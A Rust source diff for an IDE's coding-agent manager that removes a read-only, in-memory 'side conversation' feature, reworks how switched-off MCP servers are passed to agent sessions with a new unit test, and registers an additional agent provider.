@@ -369,11 +372,6 @@ struct TaskState {
|
||||
title_renamed: bool,
|
||||
/// A turn is running or about to (prompts arriving now are queued).
|
||||
busy: bool,
|
||||
/// A temporary side conversation: lives in memory only, never persisted.
|
||||
ephemeral: bool,
|
||||
/// The conversation a temporary side conversation starts with, sent to the agent with
|
||||
/// its first real message; the task's own entries hold only the questions.
|
||||
ephemeral_context: Option<String>,
|
||||
/// Background tasks the agent reported as running (`run_in_background` commands and
|
||||
/// the like), as it sent them: unlike a turn they outlive it, so an idle release
|
||||
/// waits for the last one. A (re)started process runs nothing yet.
|
||||
@@ -500,14 +498,8 @@ impl AgentManager {
|
||||
}
|
||||
|
||||
/// Routes events to `sink` (replacing the previous subscriber); returns every task.
|
||||
/// Ephemeral tasks belonged to the previous page session: a fresh one starts without them.
|
||||
pub fn subscribe(&self, sink: AgentSink) -> Vec<AgentTask> {
|
||||
*self.shared.sink.write() = Some(sink);
|
||||
let stale: Vec<Arc<Task>> = self.tasks.read().values().filter(|t| t.state.lock().ephemeral).cloned().collect();
|
||||
for task in &stale {
|
||||
self.drop_in_memory(task);
|
||||
self.shared.emit(AgentEvent::Removed { id: task.id.clone() });
|
||||
}
|
||||
let mut tasks: Vec<AgentTask> = self.tasks.read().values().map(|t| t.state.lock().task.clone()).collect();
|
||||
tasks.sort_by(|a, b| b.updated_ms.total_cmp(&a.updated_ms));
|
||||
tasks
|
||||
@@ -734,7 +726,7 @@ impl AgentManager {
|
||||
background: Box::default(),
|
||||
mcp_overrides: BTreeMap::new(),
|
||||
};
|
||||
let handle = self.register(TaskFile {
|
||||
let file = TaskFile {
|
||||
task: task.clone(),
|
||||
session_id: Some(session_id.to_owned()),
|
||||
entries: Vec::new(),
|
||||
@@ -745,7 +737,9 @@ impl AgentManager {
|
||||
subagents: Vec::new(),
|
||||
pending_rollback: 0,
|
||||
title_renamed: true,
|
||||
});
|
||||
};
|
||||
let handle = Task::restore(file, self.shared.clone());
|
||||
self.tasks.write().insert(task.id.clone(), handle.clone());
|
||||
handle.emit_task();
|
||||
handle.persist();
|
||||
Ok(task)
|
||||
@@ -783,8 +777,27 @@ impl AgentManager {
|
||||
(root, None, base, commit, before)
|
||||
}
|
||||
};
|
||||
// The session's settings: what the agent offered last time, with the choices applied.
|
||||
let config = self.merged_config(&spec.id, &req.config);
|
||||
// Until the session reports its own, show what the agent offered last time with the choices applied.
|
||||
let catalog = self.shared.paths.catalogs.cached(&self.shared, &spec.id);
|
||||
let mut levels = catalog.thought_levels;
|
||||
let mut config = self.shared.config_for_new_task(catalog.config, &spec.id);
|
||||
for choice in &req.config {
|
||||
if let Some(o) = config.iter_mut().find(|o| o.id == choice.id) {
|
||||
o.current = Some(choice.value.clone());
|
||||
}
|
||||
}
|
||||
if let Some(model) = model_of(&config)
|
||||
&& let Some(levels) = levels.remove(&model)
|
||||
{
|
||||
config.extend(levels.into_iter().map(|mut o| {
|
||||
if let Some(choice) =
|
||||
req.config.iter().find(|c| c.id == o.id && o.values.iter().any(|v| v.value == c.value))
|
||||
{
|
||||
o.current = Some(choice.value.clone());
|
||||
}
|
||||
o
|
||||
}));
|
||||
}
|
||||
let now = now_ms();
|
||||
let id = uuid::Uuid::new_v4().simple().to_string();
|
||||
// Copies of the files the user had changed already, for rolling back the task's changes to them.
|
||||
@@ -826,7 +839,7 @@ impl AgentManager {
|
||||
background: Box::default(),
|
||||
mcp_overrides: req.mcp_overrides,
|
||||
};
|
||||
let handle = self.register(TaskFile {
|
||||
let file = TaskFile {
|
||||
task: task.clone(),
|
||||
session_id: None,
|
||||
entries: Vec::new(),
|
||||
@@ -837,120 +850,16 @@ impl AgentManager {
|
||||
subagents: Vec::new(),
|
||||
pending_rollback: 0,
|
||||
title_renamed: false,
|
||||
});
|
||||
};
|
||||
let handle = Task::restore(file, self.shared.clone());
|
||||
handle.state.lock().busy = true;
|
||||
self.tasks.write().insert(task.id.clone(), handle.clone());
|
||||
handle.emit_task();
|
||||
handle.persist();
|
||||
self.shared.runtime.spawn(async move { handle.run(prompt).await });
|
||||
Ok(task)
|
||||
}
|
||||
|
||||
/// Builds the in-memory handle of a fresh task, registers it and announces it. The
|
||||
/// caller decides what else its life starts with (a persisted file, a session, a run).
|
||||
fn register(&self, file: TaskFile) -> Arc<Task> {
|
||||
let handle = Task::restore(file, self.shared.clone());
|
||||
self.tasks.write().insert(handle.id.clone(), handle.clone());
|
||||
handle.emit_task();
|
||||
handle
|
||||
}
|
||||
|
||||
/// The session's settings: what the agent offered last time, with the request's
|
||||
/// choices — and the chosen model's thought levels — applied.
|
||||
fn merged_config(&self, provider: &str, req: &[AgentConfigChoice]) -> Vec<AgentConfigOption> {
|
||||
let catalog = self.shared.paths.catalogs.cached(&self.shared, provider);
|
||||
let mut levels = catalog.thought_levels;
|
||||
let mut config = self.shared.config_for_new_task(catalog.config, provider);
|
||||
for choice in req {
|
||||
if let Some(o) = config.iter_mut().find(|o| o.id == choice.id) {
|
||||
o.current = Some(choice.value.clone());
|
||||
}
|
||||
}
|
||||
if let Some(model) = model_of(&config)
|
||||
&& let Some(levels) = levels.remove(&model)
|
||||
{
|
||||
config.extend(levels.into_iter().map(|mut o| {
|
||||
if let Some(choice) = req.iter().find(|c| c.id == o.id && o.values.iter().any(|v| v.value == c.value)) {
|
||||
o.current = Some(choice.value.clone());
|
||||
}
|
||||
o
|
||||
}));
|
||||
}
|
||||
config
|
||||
}
|
||||
|
||||
/// Creates a temporary side conversation of `source`: an in-memory task that is never
|
||||
/// persisted, whose session starts with its first real message (`prompt` only names
|
||||
/// the title). `source`'s conversation rides along as the context of that message.
|
||||
/// The task is read-only: its settings are pushed to a mode that asks before anything,
|
||||
/// and requests that would change the project are denied regardless. Fails for an
|
||||
/// agent that offers no way to ask.
|
||||
pub async fn create_ephemeral(&self, req: NewAgentTask, source: &str) -> IdeResult<AgentTask> {
|
||||
let spec = self
|
||||
.shared
|
||||
.spec(&req.provider)
|
||||
.ok_or_else(|| IdeError::invalid(format!("unknown agent {}", req.provider)))?;
|
||||
let prompt = clean(req.prompt).ok_or_else(|| IdeError::invalid("describe the topic first"))?;
|
||||
let title = title_of(&prompt);
|
||||
let mut config = self.merged_config(&spec.id, &req.config);
|
||||
// The source task's choices may change the project without asking; the side conversation asks.
|
||||
let wanted = config::asking_choices(&config, &req.config);
|
||||
config::keep_asking(&mut config);
|
||||
if config::bypass_approvals(&config) {
|
||||
return Err(IdeError::invalid(
|
||||
"this agent has no mode that asks before changing things, so it can't run a side conversation",
|
||||
));
|
||||
}
|
||||
let read_only = !config::bypass_approvals(&config);
|
||||
let context = context_transcript(&self.task(source)?.state.lock().conversation.main.entries);
|
||||
let root = self.shared.paths.project_root.clone();
|
||||
let before = blocking(move || Ok(worktree::snapshot(&root).unwrap_or_default())).await?;
|
||||
let now = now_ms();
|
||||
let mut capabilities = self.shared.probes.lock().get(&spec.id).map(|p| p.capabilities).unwrap_or_default();
|
||||
capabilities.read_only = read_only;
|
||||
let task = AgentTask {
|
||||
project_root: Some(IpcPath(self.shared.paths.project_root.clone())),
|
||||
id: uuid::Uuid::new_v4().simple().to_string(),
|
||||
title,
|
||||
provider: spec.id.clone(),
|
||||
model: model_of(&config),
|
||||
status: AgentStatus::Ready,
|
||||
isolation: Isolation::Local,
|
||||
cwd: IpcPath(self.shared.paths.project_root.clone()),
|
||||
branch: None,
|
||||
base: None,
|
||||
base_commit: None,
|
||||
error: None,
|
||||
created_ms: now,
|
||||
updated_ms: now,
|
||||
commands: self.shared.known_commands(&spec.id),
|
||||
usage: None,
|
||||
queue: Vec::new(),
|
||||
capabilities,
|
||||
resets_ms: None,
|
||||
retry: None,
|
||||
background: Box::default(),
|
||||
mcp_overrides: req.mcp_overrides,
|
||||
config,
|
||||
};
|
||||
let handle = self.register(TaskFile {
|
||||
task: task.clone(),
|
||||
session_id: None,
|
||||
entries: Vec::new(),
|
||||
wanted,
|
||||
before,
|
||||
saved: None,
|
||||
touched: None,
|
||||
subagents: Vec::new(),
|
||||
pending_rollback: 0,
|
||||
title_renamed: false,
|
||||
});
|
||||
{
|
||||
let mut s = handle.state.lock();
|
||||
s.ephemeral = true;
|
||||
s.ephemeral_context = Some(context);
|
||||
}
|
||||
Ok(task)
|
||||
}
|
||||
|
||||
/// Sends a message. While the agent works it is queued, or with `now` the current turn
|
||||
/// is cancelled and the message goes next.
|
||||
pub async fn prompt(&self, id: &str, prompt: AgentPrompt, now: bool) -> IdeResult<()> {
|
||||
@@ -1052,15 +961,6 @@ impl AgentManager {
|
||||
if !o.values.iter().any(|v| v.value == value) {
|
||||
return Err(IdeError::invalid(format!("{} has no value {value}", o.name)));
|
||||
}
|
||||
if s.ephemeral {
|
||||
let mut next = s.task.config.clone();
|
||||
if let Some(n) = next.iter_mut().find(|n| n.id == option) {
|
||||
n.current = Some(value.clone());
|
||||
}
|
||||
if !config::keeps_asking(&next) {
|
||||
return Err(IdeError::invalid("a side conversation asks before changing anything"));
|
||||
}
|
||||
}
|
||||
o.clone()
|
||||
};
|
||||
let previous = target.current.clone();
|
||||
@@ -1150,7 +1050,7 @@ impl AgentManager {
|
||||
.request(
|
||||
"session/fork",
|
||||
{
|
||||
let mut params = session_params(&cwd_s, &mcp_servers, &mcp_overrides);
|
||||
let mut params = session_params(&cwd_s, &mcp_servers);
|
||||
params["sessionId"] = json!(live.session);
|
||||
params
|
||||
},
|
||||
@@ -1424,15 +1324,6 @@ impl AgentManager {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Removes a task from the manager's table and stops its agent. The disk (its file,
|
||||
/// its worktree) is the caller's business.
|
||||
fn drop_in_memory(&self, task: &Arc<Task>) {
|
||||
task.kill();
|
||||
self.tasks.write().remove(&task.id);
|
||||
*task.deleted.lock() = true;
|
||||
let _ = std::fs::remove_file(self.shared.paths.store_dir.join(format!("{}.json", task.id)));
|
||||
}
|
||||
|
||||
/// Returns an archived task to the active list without starting the agent.
|
||||
pub fn unarchive(&self, id: &str) -> IdeResult<()> {
|
||||
let task = self.task(id)?;
|
||||
@@ -1698,8 +1589,6 @@ impl Task {
|
||||
pending_rollback: file.pending_rollback,
|
||||
title_renamed: file.title_renamed,
|
||||
busy: false,
|
||||
ephemeral: false,
|
||||
ephemeral_context: None,
|
||||
background_tasks: Vec::new(),
|
||||
}),
|
||||
live: Mutex::new(None),
|
||||
@@ -1859,9 +1748,6 @@ impl Task {
|
||||
if *deleted {
|
||||
return;
|
||||
}
|
||||
if self.state.lock().ephemeral {
|
||||
return;
|
||||
}
|
||||
let bytes = {
|
||||
let s = self.state.lock();
|
||||
serde_json::to_vec(&TaskFile {
|
||||
@@ -2131,20 +2017,7 @@ impl Task {
|
||||
if !prompt.images.is_empty() && !live.capabilities.images {
|
||||
return Err(Failure::from("This agent can't read images.".to_owned()));
|
||||
}
|
||||
// A temporary side conversation's context rides with its first real message; the
|
||||
// conversation itself records only the question (and whatever comes after).
|
||||
let prompt = {
|
||||
let context = self.state.lock().ephemeral_context.take();
|
||||
match context {
|
||||
Some(context) => {
|
||||
let mut owned = prompt.clone();
|
||||
owned.text = format!("{context}\n\n---\n\n{}", owned.text);
|
||||
owned
|
||||
}
|
||||
None => prompt.clone(),
|
||||
}
|
||||
};
|
||||
let mut content = self.content(&live, &prompt).await;
|
||||
let mut content = self.content(&live, prompt).await;
|
||||
let mut result: Result<Value, RpcError> =
|
||||
live.peer.request("session/prompt", json!({ "sessionId": live.session, "prompt": content }), None).await;
|
||||
if live.driver == provider::Driver::Copilot
|
||||
@@ -2166,7 +2039,7 @@ impl Task {
|
||||
if !prompt.images.is_empty() && !live.capabilities.images {
|
||||
return Err(Failure::from("This agent can't read images.".to_owned()));
|
||||
}
|
||||
content = self.content(&live, &prompt).await;
|
||||
content = self.content(&live, prompt).await;
|
||||
result = live
|
||||
.peer
|
||||
.request("session/prompt", json!({ "sessionId": live.session, "prompt": content }), None)
|
||||
@@ -2326,7 +2199,7 @@ impl Task {
|
||||
let mut session = None;
|
||||
if let (Some(id), true) = (saved, can_load) {
|
||||
self.replaying.store(true, Ordering::Release);
|
||||
let mut params = session_params(&cwd_s, &mcp_servers, &mcp_overrides);
|
||||
let mut params = session_params(&cwd_s, &mcp_servers);
|
||||
params["sessionId"] = json!(&id);
|
||||
let loaded = self.request_with_auth(&peer, &init, &mut tried_auth, "session/load", params).await;
|
||||
tokio::time::sleep(REPLAY_GRACE).await;
|
||||
@@ -2340,7 +2213,7 @@ impl Task {
|
||||
let (session_id, result) = match session {
|
||||
Some(s) => s,
|
||||
None => {
|
||||
let params = session_params(&cwd_s, &mcp_servers, &mcp_overrides);
|
||||
let params = session_params(&cwd_s, &mcp_servers);
|
||||
let v = self.request_with_auth(&peer, &init, &mut tried_auth, "session/new", params).await.map_err(
|
||||
|e| match self.sign_in_error(&e, Some(&sign_in_message)) {
|
||||
Some(msg) => SessionOpenError { message: msg, allow_acp_fallback: false },
|
||||
@@ -2382,8 +2255,7 @@ impl Task {
|
||||
let (mut options, mut wanted) = {
|
||||
let s = self.state.lock();
|
||||
let options = if known { reported } else { s.task.config.clone() };
|
||||
// A side conversation asks before anything, whatever mode the agent starts in.
|
||||
let wanted = if s.ephemeral { config::asking_choices(&options, &s.wanted) } else { s.wanted.clone() };
|
||||
let wanted = s.wanted.clone();
|
||||
(options, wanted)
|
||||
};
|
||||
config::add_client_options(provider_id, &mut options);
|
||||
@@ -2431,14 +2303,6 @@ impl Task {
|
||||
Err(e) => tracing::warn!("agent task {}: setting {} to {} failed: {e}", self.id, o.id, choice.value),
|
||||
}
|
||||
}
|
||||
// A side conversation never runs in a mode that changes things without asking: when the
|
||||
// agent refused the switch, it doesn't start.
|
||||
if self.state.lock().ephemeral && !config::keeps_asking(&options) {
|
||||
return Err(SessionOpenError {
|
||||
message: "The agent didn't switch to a mode that asks before changing anything, so the side conversation can't start".into(),
|
||||
allow_acp_fallback: false,
|
||||
});
|
||||
}
|
||||
let model = model_of(&options).filter(|_| model_options);
|
||||
self.shared.remember(provider_id, Some(&options), None, model.as_deref());
|
||||
{
|
||||
@@ -2700,30 +2564,6 @@ impl Task {
|
||||
.collect()
|
||||
})
|
||||
.unwrap_or_default();
|
||||
// A side conversation is read-only: deny anything that would change the project
|
||||
// (its task is deleted when its pane closes, leaving nothing to review or revert).
|
||||
if self.state.lock().ephemeral
|
||||
&& params
|
||||
.pointer("/toolCall/kind")
|
||||
.or_else(|| params.pointer("/subject/toolCall/kind"))
|
||||
.and_then(Value::as_str)
|
||||
.is_some_and(|kind| matches!(kind, "edit" | "delete" | "move" | "execute"))
|
||||
{
|
||||
let reject = options.iter().find(|o| o.kind.starts_with("reject")).cloned();
|
||||
let _ = self.push_entry(AgentEntry::Permission {
|
||||
id,
|
||||
title,
|
||||
command: None,
|
||||
options,
|
||||
questions: Vec::new(),
|
||||
form: None,
|
||||
chosen: Some("Denied: side conversations are read-only".to_owned()),
|
||||
});
|
||||
return match reject {
|
||||
Some(option) => json!({ "outcome": { "outcome": "selected", "optionId": option.id } }),
|
||||
None => json!({ "outcome": { "outcome": "cancelled" } }),
|
||||
};
|
||||
}
|
||||
let asked: Vec<String> = questions
|
||||
.iter()
|
||||
.map(|question| question.answer_key.clone().unwrap_or_else(|| question.question.clone()))
|
||||
@@ -2985,72 +2825,6 @@ fn clean(mut prompt: AgentPrompt) -> Option<AgentPrompt> {
|
||||
(!prompt.text.is_empty() || !prompt.images.is_empty() || !prompt.files.is_empty()).then_some(prompt)
|
||||
}
|
||||
|
||||
/// The character budget of a side conversation's context: the newest entries win, the
|
||||
/// oldest are dropped first. Leaves room for the question and the agent's answer.
|
||||
const CONTEXT_BUDGET: usize = 100_000;
|
||||
|
||||
/// A long tool output trimmed to its first and last few lines, with the elided middle noted.
|
||||
fn trimmed_output(output: &str) -> String {
|
||||
const KEPT: usize = 4;
|
||||
let lines: Vec<&str> = output.lines().collect();
|
||||
if lines.len() <= KEPT * 2 + 1 {
|
||||
return output.to_owned();
|
||||
}
|
||||
let omitted = lines.len() - KEPT * 2;
|
||||
let mut out = lines[..KEPT].join("\n");
|
||||
out.push_str(&format!("\n… {omitted} lines omitted …\n"));
|
||||
out.push_str(&lines[lines.len() - KEPT..].join("\n"));
|
||||
out
|
||||
}
|
||||
|
||||
fn context_entry(e: &AgentEntry) -> Option<String> {
|
||||
match e {
|
||||
AgentEntry::User { text, .. } => Some(format!("User: {text}")),
|
||||
AgentEntry::Agent { text, .. } if !text.trim().is_empty() => Some(format!("Agent: {text}")),
|
||||
AgentEntry::Thought { text, .. } if !text.trim().is_empty() => Some(format!("Thought: {text}")),
|
||||
AgentEntry::Tool { title, output, .. } => match output.as_deref() {
|
||||
Some(output) if !output.trim().is_empty() => Some(format!("Tool: {title}\n{}", trimmed_output(output))),
|
||||
_ => Some(format!("Tool: {title}")),
|
||||
},
|
||||
AgentEntry::Error { message, .. } => Some(format!("Error: {message}")),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// The conversation as the context a temporary side conversation starts with: what was
|
||||
/// said, what was done (tool calls with trimmed output), errors and the agent's reasoning,
|
||||
/// oldest first, within [`CONTEXT_BUDGET`].
|
||||
fn context_transcript(entries: &[AgentEntry]) -> String {
|
||||
// Newest wins: walk back until the budget is spent, dropping the oldest entries first.
|
||||
let mut lines: Vec<String> = Vec::new();
|
||||
let mut used = 0usize;
|
||||
for e in entries.iter().rev() {
|
||||
let Some(line) = context_entry(e) else { continue };
|
||||
if used + line.len() > CONTEXT_BUDGET {
|
||||
if lines.is_empty() {
|
||||
// Even the newest entry alone exceeds the budget: keep its head.
|
||||
lines.push(line.chars().take(CONTEXT_BUDGET).collect());
|
||||
}
|
||||
break;
|
||||
}
|
||||
used += line.len();
|
||||
lines.push(line);
|
||||
}
|
||||
lines.reverse();
|
||||
let dropped = entries.iter().rev().filter_map(context_entry).count() - lines.len();
|
||||
let mut context = String::from(
|
||||
"You are answering a side question in a temporary conversation. The conversation so far is below, \
|
||||
for context only; answer the new question after the marker, and do not continue the main task \
|
||||
unless asked.\n\n<conversation>\n",
|
||||
);
|
||||
if dropped > 0 {
|
||||
context.push_str(&format!("(The {dropped} oldest entries are omitted.)\n\n"));
|
||||
}
|
||||
context.push_str(&lines.join("\n\n"));
|
||||
context.push_str("\n</conversation>");
|
||||
context
|
||||
}
|
||||
|
||||
fn permission_title(params: &Value) -> String {
|
||||
let call = ¶ms["toolCall"];
|
||||
let title = call.get("title").and_then(Value::as_str).filter(|t| !t.is_empty());
|
||||
@@ -3269,7 +3043,6 @@ fn capabilities_of(init: &acp::Negotiated) -> (AgentCapabilities, bool) {
|
||||
rollback: meta("/openidea/rollback"),
|
||||
steer: steer_method(init).is_some(),
|
||||
background_tasks: meta("/openidea/backgroundTasks"),
|
||||
read_only: false,
|
||||
};
|
||||
(capabilities, init.prompt("embeddedContext"))
|
||||
}
|
||||
@@ -3284,18 +3057,19 @@ fn turn_starts(entries: &[AgentEntry]) -> Vec<usize> {
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// The MCP servers of a session, and the names of the ones off for it.
|
||||
struct McpForSession {
|
||||
servers: Vec<Value>,
|
||||
off: Vec<String>,
|
||||
}
|
||||
|
||||
/// The session parameters `session/new`, `session/load` and `session/fork` share: the MCP
|
||||
/// servers, and the ones switched off for this session, so an agent that also loads its own
|
||||
/// servers, and the ones off for this session, so an agent that also loads its own
|
||||
/// configuration (Claude Code) can keep a same-named server of it off too.
|
||||
fn session_params(cwd: &str, servers: &[Value], overrides: &BTreeMap<String, bool>) -> Value {
|
||||
let off: Vec<&str> = overrides
|
||||
.iter()
|
||||
.filter(|(name, on)| !**on && name.as_str() != mcp::BUILTIN_MCP_NAME)
|
||||
.map(|(name, _)| name.as_str())
|
||||
.collect();
|
||||
let mut params = json!({ "cwd": cwd, "mcpServers": servers });
|
||||
if !off.is_empty() {
|
||||
params["_meta"] = json!({ "openidea": { "mcpServersOff": off } });
|
||||
fn session_params(cwd: &str, mcp: &McpForSession) -> Value {
|
||||
let mut params = json!({ "cwd": cwd, "mcpServers": mcp.servers });
|
||||
if !mcp.off.is_empty() {
|
||||
params["_meta"] = json!({ "openidea": { "mcpServersOff": mcp.off } });
|
||||
}
|
||||
params
|
||||
}
|
||||
@@ -3408,6 +3182,9 @@ mod replay_tests;
|
||||
#[cfg(test)]
|
||||
mod tests;
|
||||
|
||||
/// The name agents know the built-in server by (its tools are `mcp__OpenIDEA__…` in Claude Code).
|
||||
const BUILTIN_SERVER: &str = "OpenIDEA";
|
||||
|
||||
// The desktop advertises its relay only while the built-in server is listening.
|
||||
static MCP_EXECUTABLE: parking_lot::RwLock<Option<std::path::PathBuf>> = parking_lot::RwLock::new(None);
|
||||
|
||||
@@ -3422,7 +3199,7 @@ fn mcp_servers_for(supported: bool, root: &std::path::Path) -> Vec<Value> {
|
||||
fn stdio_mcp_servers(executable: Option<&std::path::Path>, supported: bool, root: &std::path::Path) -> Vec<Value> {
|
||||
let Some(executable) = executable.filter(|_| supported) else { return Vec::new() };
|
||||
let command = ide_mcp::stdio_command(executable, root);
|
||||
vec![json!({ "name": "OpenIDEA", "command": command[0], "args": command[1..], "env": [] })]
|
||||
vec![json!({ "name": BUILTIN_SERVER, "command": command[0], "args": command[1..], "env": [] })]
|
||||
}
|
||||
|
||||
/// What was sent of a streaming message: its first `bytes` (`utf16` UTF-16 units), which
|
||||
|
||||
@@ -86,6 +86,29 @@ fn matches_agent(agents: &[String], provider: &str) -> bool {
|
||||
})
|
||||
}
|
||||
|
||||
/// The configured servers off for this session: off by default and not switched on for it, or
|
||||
/// switched off for it. Named so an agent that also loads its own configuration can keep a
|
||||
/// same-named server of it off too. Workspace entries take precedence, as in [`acp_mcp_servers`].
|
||||
pub(crate) fn servers_off(all: &[McpServer], overrides: &BTreeMap<String, bool>) -> Vec<String> {
|
||||
let mut seen = HashSet::new();
|
||||
let ordered =
|
||||
all.iter().filter(|s| s.scope == McpScope::Workspace).chain(all.iter().filter(|s| s.scope == McpScope::User));
|
||||
let configured: Vec<String> = ordered
|
||||
.filter(|s| seen.insert(s.name.as_str()))
|
||||
.filter(|s| !overrides.get(&s.name).copied().unwrap_or(s.enabled))
|
||||
.map(|s| s.name.clone())
|
||||
.collect();
|
||||
// A server switched off that the IDE doesn't configure may still be the agent's own.
|
||||
let switched = overrides
|
||||
.iter()
|
||||
.filter(|(name, on)| !**on && name.as_str() != BUILTIN_MCP_NAME && !seen.contains(name.as_str()))
|
||||
.map(|(name, _)| name.clone());
|
||||
let mut off: Vec<String> = configured.into_iter().chain(switched).collect();
|
||||
off.sort();
|
||||
off.dedup();
|
||||
off
|
||||
}
|
||||
|
||||
/// Builds the ACP `mcpServers` array for `session/new`, `session/load`, and `session/fork`.
|
||||
/// Workspace entries take precedence over User entries with the same name. Per-session
|
||||
/// `overrides` (`server_name` -> `enabled`) can enable a disabled server or disable an enabled one
|
||||
@@ -1016,6 +1039,44 @@ fn parse_key_values_map(val: Option<&Value>) -> BTreeMap<String, String> {
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
fn configured(name: &str, scope: McpScope, enabled: bool) -> McpServer {
|
||||
McpServer {
|
||||
id: format!("{scope:?}:{name}"),
|
||||
name: name.into(),
|
||||
scope,
|
||||
transport: McpTransport::Stdio,
|
||||
enabled,
|
||||
command: Some("x".into()),
|
||||
args: Vec::new(),
|
||||
env: Vec::new(),
|
||||
url: None,
|
||||
headers: Vec::new(),
|
||||
agents: Vec::new(),
|
||||
unapproved: false,
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn servers_off_follow_the_effective_state() {
|
||||
let all = [
|
||||
configured("default-off", McpScope::User, false),
|
||||
configured("switched-on", McpScope::User, false),
|
||||
configured("on", McpScope::User, true),
|
||||
configured("switched-off", McpScope::User, true),
|
||||
// The workspace entry decides for its name.
|
||||
configured("both", McpScope::User, true),
|
||||
configured("both", McpScope::Workspace, false),
|
||||
];
|
||||
let overrides = BTreeMap::from([
|
||||
("switched-on".to_owned(), true),
|
||||
("switched-off".to_owned(), false),
|
||||
("agent-own".to_owned(), false),
|
||||
(BUILTIN_MCP_NAME.to_owned(), false),
|
||||
]);
|
||||
assert_eq!(servers_off(&all, &overrides), ["agent-own", "both", "default-off", "switched-off"]);
|
||||
assert_eq!(servers_off(&all[2..4], &BTreeMap::new()), Vec::<String>::new());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn crud_and_acp_filtering_by_scope_agent_and_transport() {
|
||||
let mut user = BTreeMap::new();
|
||||
|
||||
@@ -45,9 +45,6 @@ pub struct AgentCapabilities {
|
||||
pub steer: bool,
|
||||
/// It reports its background tasks and stops them one by one.
|
||||
pub background_tasks: bool,
|
||||
/// The task runs read-only: it asks before anything, and requests that would change
|
||||
/// the project are denied (a temporary side conversation).
|
||||
pub read_only: bool,
|
||||
}
|
||||
|
||||
#[derive(Clone, Copy, Debug, Default, PartialEq, Eq, Serialize, Deserialize, Type)]
|
||||
|
||||
@@ -56,6 +56,13 @@ const BUILTIN: &[(&str, &str, Driver, &[&str], &str)] = &[
|
||||
&["npx", "-y", "@agentclientprotocol/[email protected]"],
|
||||
"Run `codex login` in a terminal.",
|
||||
),
|
||||
(
|
||||
"deepseek-harness",
|
||||
"DeepSeek Harness",
|
||||
Driver::Acp,
|
||||
&["dsh", "--profile", "acp"],
|
||||
"Run `dsh` in a terminal and sign in.",
|
||||
),
|
||||
("gemini", "Gemini CLI", Driver::Acp, &["gemini", "--experimental-acp"], "Run `gemini` in a terminal and sign in."),
|
||||
(
|
||||
"copilot",
|
||||
|
||||
@@ -1689,7 +1689,7 @@ async fn startup_warnings_survive_replay_and_restart_without_failing_the_task()
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn persistent_project_trust_needs_confirmation_even_with_bypass_and_is_denied_in_side_chats() {
|
||||
async fn persistent_project_trust_needs_confirmation_even_with_bypass() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let mgr = manager(tmp.path(), Arc::new(FakeAgent::default()));
|
||||
let task = mgr
|
||||
@@ -1718,8 +1718,6 @@ async fn persistent_project_trust_needs_confirmation_even_with_bypass_and_is_den
|
||||
let id = *handle.permissions.lock().keys().next().unwrap();
|
||||
mgr.respond(&task.id, id, Some("codex-keep-untrusted".into())).unwrap();
|
||||
assert_eq!(asking.await.unwrap()["outcome"]["optionId"], "codex-keep-untrusted");
|
||||
handle.state.lock().ephemeral = true;
|
||||
assert_eq!(handle.ask_permission(¶ms)["outcome"]["optionId"], "codex-keep-untrusted");
|
||||
mgr.shutdown();
|
||||
}
|
||||
|
||||
@@ -3593,199 +3591,6 @@ async fn security_policy_never_auto_approves_a_request_that_only_reads_like_a_co
|
||||
);
|
||||
}
|
||||
|
||||
/// A temporary side conversation is created ready, without starting its session and
|
||||
/// without writing anything to the store; a fresh subscriber (a reloaded page) sweeps
|
||||
/// it, and deleting it just drops it from memory.
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn ephemeral_tasks_stay_in_memory_only() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let agent = Arc::new(FakeAgent::default());
|
||||
let mgr = manager(tmp.path(), agent.clone());
|
||||
let source = mgr
|
||||
.create(NewAgentTask {
|
||||
project_root: None,
|
||||
prompt: text("hello"),
|
||||
provider: "claude".into(),
|
||||
config: vec![],
|
||||
isolation: Isolation::Local,
|
||||
base: None,
|
||||
..Default::default()
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
wait_for(&mgr, &source.id, AgentStatus::NeedsInput).await;
|
||||
let calls_before = agent.calls.lock().len();
|
||||
let task = mgr
|
||||
.create_ephemeral(
|
||||
NewAgentTask {
|
||||
project_root: None,
|
||||
prompt: text("What changed in this file?"),
|
||||
provider: "claude".into(),
|
||||
config: vec![],
|
||||
isolation: Isolation::Local,
|
||||
base: None,
|
||||
..Default::default()
|
||||
},
|
||||
&source.id,
|
||||
)
|
||||
.await
|
||||
.unwrap();
|
||||
// Registering it starts nothing: the session waits for its first real message.
|
||||
assert_eq!(agent.calls.lock().len(), calls_before);
|
||||
assert_eq!(mgr.task(&task.id).unwrap().state.lock().task.status, AgentStatus::Ready);
|
||||
assert!(!tmp.path().join("store").join(format!("{}.json", task.id)).exists());
|
||||
|
||||
// Its first message starts the session like any task's, and still saves nothing: the
|
||||
// conversation records the question, not the context that rode along to the agent.
|
||||
// The fake agent's turn asks to change something, which a side conversation denies by
|
||||
// itself, so the turn ends without waiting for the user.
|
||||
mgr.prompt(&task.id, text("Why?"), false).await.unwrap();
|
||||
wait_for(&mgr, &task.id, AgentStatus::Ready).await;
|
||||
let entries = mgr.entries(&task.id, None).unwrap();
|
||||
let question = entries.iter().find_map(|e| match e {
|
||||
AgentEntry::User { text, .. } => Some(text.clone()),
|
||||
_ => None,
|
||||
});
|
||||
assert_eq!(question.as_deref(), Some("Why?"));
|
||||
assert!(
|
||||
entries.iter().any(|e| matches!(e, AgentEntry::Permission { chosen: Some(c), .. } if c.contains("read-only"))),
|
||||
"its `cargo test` request was denied: {entries:?}"
|
||||
);
|
||||
assert!(!tmp.path().join("store").join(format!("{}.json", task.id)).exists());
|
||||
|
||||
// A fresh subscriber (a reloaded page) sweeps it: it never reaches the task list.
|
||||
let events: Arc<Mutex<Vec<AgentEvent>>> = Arc::new(Mutex::new(Vec::new()));
|
||||
let sink_events = events.clone();
|
||||
let tasks = mgr.subscribe(Arc::new(move |e| sink_events.lock().push(e)));
|
||||
assert!(!tasks.iter().any(|t| t.id == task.id));
|
||||
assert!(mgr.task(&task.id).is_err());
|
||||
